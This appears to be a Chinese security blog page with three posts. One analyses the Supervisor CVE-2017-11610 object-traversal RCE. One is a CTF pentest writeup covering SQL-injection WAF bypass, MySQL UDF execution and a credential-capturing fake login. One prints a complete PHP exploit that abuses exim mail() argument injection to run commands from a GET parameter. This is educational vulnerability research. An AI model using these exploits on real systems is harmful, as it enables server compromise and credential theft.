CVE-2017-11610: Supervisor Object Traversal To RCE

TL; DR

惊闻 Supervisor 爆出一个 RCE,粗略的跟了一下代码,是 Object Traversal 造成的。Supervisor 在处理 XMLRPC 的过程中,通过 getattr 获取定义的 namespace 的属性或者方法,其中,可以通过逐层访问其命名空间内所有的属性,最终调用 execute 方法,导致 RCE。

分析

开启 supervisord 时,进入 options.py,会调用到 make_http_servers 方法,

def openhttpservers(self, supervisord):
    try:
        self.httpservers = self.make_http_servers(supervisord)
        self.unlink_socketfiles = True
    except socket.error as why:

接着 make_http_servers 会将各种 RPC Interface 加入命名空间:

    subinterfaces = []
    for name, factory, d in options.rpcinterface_factories:
        try:
            inst = factory(supervisord, **d)
        except:
            tb = traceback.format_exc()
            options.logger.warn(tb)
            raise ValueError('Could not make %s rpc interface' % name)
        subinterfaces.append((name, inst))
        options.logger.info('RPC interface %r initialized' % name)

    subinterfaces.append(('system',
                          SystemNamespaceRPCInterface(subinterfaces)))
    xmlrpchandler = supervisor_xmlrpc_handler(supervisord, subinterfaces)

如果配置文件定义了 inet_http_server 则会启动一个 HTTP XML RPC,否则只会创建一个 unix socket。

Supervisor 的 RPC 有两个 namespace,一个是 system,提供了部分诸如 listMethods 之类的方法;另外一个是 supervisord,提供了很多 supervisor 相关的方法。具体可以看代码,不再赘述。

当然,以上只是初始化 XMLRPC。通过 git reset --hard 2c601dbe 返回到修复漏洞之前的代码,重点在 xmlrpc.py 里:

def traverse(ob, method, params):
    path = method.split('.')
    for name in path:
        if name.startswith('_'):
            # security (don't allow things that start with an underscore to
            # be called remotely)
            raise RPCError(Faults.UNKNOWN_METHOD)
        ob = getattr(ob, name, None)
        if ob is None:
            raise RPCError(Faults.UNKNOWN_METHOD)

    try:
        return ob(*params)
    except TypeError:
        raise RPCError(Faults.INCORRECT_PARAMETERS)

首先,传入的 method 会被 split by '.',得到一个调用链,接着用 for 循环逐层 getattr,赋值给 ob,最终调用 ob。
这里可以得到几点:

  • supervisor 未限制调用的层数
  • 调用链的最终一个会被当作函数调用(path[-1])
  • 参数无限制

那么,通过各个层级寻找可以利用的点就可以执行任意命令了。

PoC

https://github.com/Supervisor/supervisor/issues/964 给出的是 supervisor.supervisord.options.execve
用过 pdb 调试,可以得到 supervisord 下存在 options 属性,options 里面存在 execve 方法:

最终调用:

其中要求第二个参数为 tuple / list,随便构造即可。

最终:

Supervisor 修复的也很鸡贼:

def traverse(ob, method, params):
    dotted_parts = method.split('.')
    # security (CVE-2017-11610, don't allow object traversal)
    if len(dotted_parts) != 2:
        raise RPCError(Faults.UNKNOWN_METHOD)
    namespace, method = dotted_parts

    # security (don't allow methods that start with an underscore to
    # be called remotely)
    if method.startswith('_'):
        raise RPCError(Faults.UNKNOWN_METHOD)

    rpcinterface = getattr(ob, namespace, None)
    if rpcinterface is None:
        raise RPCError(Faults.UNKNOWN_METHOD)

    func = getattr(rpcinterface, method, None)
    if not isinstance(func, types.MethodType):
        raise RPCError(Faults.UNKNOWN_METHOD)

    try:
        return func(*params)
    except TypeError:
        raise RPCError(Faults.INCORRECT_PARAMETERS)

有以下几点:

  • 限制了 split by '.' 后长度只能为 2
  • 去掉 for 循环,只有两次 getattr;第一次选择 namespace,第二次选择方法
  • 验证了方法类型为类方法

昨晚看了一下,这样改后,方法不能以 _ 开头,但是 namespace 是可以的,于是可以访问其中的 __init____doc__,虽然并没有什么卵用。

我感觉这种 Object Traversal,在动态语言中会很常见。包括 Java 中也会有任意实例化类的漏洞存在,PHP 中也见到很多次(包括 call_user_func)。之后在这个方向上进行漏洞挖掘,估计会有不小的收获。


CUIT CTF Pentest Writeup

开始打这个比赛的时候,看到渗透题还没人做,以为是刚开始比赛呢,结果没想到已经是尾声了[facepalm]。
渗透题挺好玩,常规渗透流程即可。

0x01 FLAG 1

dnsbrute 跑一下:

Domain,Type,Record
rootk.pw,CNAME,rootk.pw.cname.yunjiasu-cdn.net
mail.rootk.pw,CNAME,mail.rootk.pw.cname.yunjiasu-cdn.net
ns2.rootk.pw,A,115.29.36.83
ns1.rootk.pw,A,115.29.36.83

NS 服务器,看起来就能日,nmap:

Nmap scan report for 115.29.36.83
Host is up (0.022s latency).
Not shown: 65526 closed ports, 3 filtered ports
PORT      STATE SERVICE
22/tcp    open  ssh
53/tcp    open  domain
111/tcp   open  rpcbind
443/tcp   open  https
8080/tcp  open  http-proxy
40403/tcp open  unknown

打开 8080 和 443,一样的东西:

扫描目录:

[01:31:15] 200 -    0B  - /config.php
[01:31:15] 200 -    0B  - /config.php
[01:31:17] 301 -  312B  - /css  ->  https://115.29.36.83/css/
[01:31:20] 200 -   73B  - /edit.php
[01:31:21] 403 -  287B  - /error/
[01:31:23] 301 -  314B  - /fonts  ->  https://115.29.36.83/fonts/
[01:31:27] 200 -    6KB - /index.php
[01:31:28] 200 -    6KB - /index.php/login/
[01:31:32] 200 -   73B  - /main.php
[01:31:48] 301 -  315B  - /static  ->  https://115.29.36.83/static/
[01:31:51] 301 -  314B  - /tools  ->  https://115.29.36.83/tools/

但是 443 可以列目录,打开 tools 目录:

有个 bot.py

import requests

url = 'http://10.211.55.3/program/sctf-web-111/admin_log/index.php'
r = requests.get(url)

if 'action="index.php"' in r.content and 'name="user"' in r.content and 'name="pass"' in r.content:
  print 'Ok!'
  data = {
    'user':'admin',
    'pass':'123456'
  }
  res = requests.post(url,data=data)
  if 'Login Successed' in res.content:
    print 'Login Successed'
else:
  print 'Error!'

10.211.55.3,这个是 Parallels Desktop 的 IP。反正看起来就是个测试服务有没有挂的东西吧。
看了下 edit.php,发现可以在未登录的情况下修改 IP。这里是个预期外的解,但是既然出题人写出来的漏洞,那就不客气啦。

联想到 bot.py,那么我在服务器上监听了 80,看看有什么返回内容:

GET 了一个域名 admin_log.rootk.pw。把页面扒下来,然后用 PHP 返回页面内容:

得到结果:

登陆不进去,问了下出题人,他说“输入错误密码为了防止钓鱼”。感觉这里有点脑洞了其实。
加上一句代码:

if ($_POST['user'] == 'test') {
    echo "<script>alert('Username Or Password Error !');</script>";
}

然后拿到密码:

user=sycMovieAdmin&pass=H7e27PQaHQ8Uefgj

搞定:

0x02 NO FLAG 2

这个我没想做了,因为比赛已经快结束了。第一道题做完大概晚上七点半左右。
从注入开始:

http://www.rootk.pw/single.php?id=1

id 可以注入,但是有一个百度的 WAF 拦着。fuzz:


发现程序过滤了空字符:

这样就可以 bypass 百度的 WAF:

SELECT -> SE LECT

因为过滤了空格:

空格 -> / **/


写一个 sqlmap 的 tamper:

跑了一堆数据,没啥用。
既然是模拟 root,估计是 UDF。但是需要写文件。又因为文件很大,还要分段写入:

然后导出到 plugin_dir(payload 找不到了,大概就是 concat 然后 into dumpfile):
然后 create function,接着可以执行了:

然后在服务器上翻到了一些东西:

登陆邮箱拿到了网络拓扑图:

然后找到 bakup 服务器是 10.10.10.200,开了 80 端口,存在 PHP 服务。 目前我的进度就到此为止。

0x03 FLAG 2

剩下是出题人说的思路,和我想的差不多,如果时间够的话应该就能搞定了。

  • 通过 fastcgi 打 10.10.10.200
  • 反弹一个 shell,然后代理进入内网
  • 通过 MS17-010 打 Windows 2008
  • 应该就能拿到 FLAG 2 了

Yet Another PHP disable_functions Bypass

Dawid Golunski 放出了 Wordpress 的 0day,虽然难用,但是里面利用 mail 的姿势非常有趣。
水一篇文好了,其实思路很简单,就是利用 mail 的命令注入来绕过 disable_functions 执行命令。

条件限制:

  • sendmail 为 exim4

Exploit

<?php
$command_file = "/tmp/cmdMhhaJ8aM";
$output_file = "/tmp/outputMhhaJ8aM";
$cmd = $argv[1] ? $argv[1] : $_GET['cmd'];
$cmd = "$cmd > $output_file";

file_put_contents($command_file, $cmd);
mail("root@localhost", "aaa", "bbb", null,
     '-fwordpress@xenial(tmp1 -be ${run{/bin/sh${substr{10}{1}{$tod_log}}'.$command_file.'}} tmp2)');
echo file_get_contents($output_file);
unlink($output_file);
unlink($command_file);

参考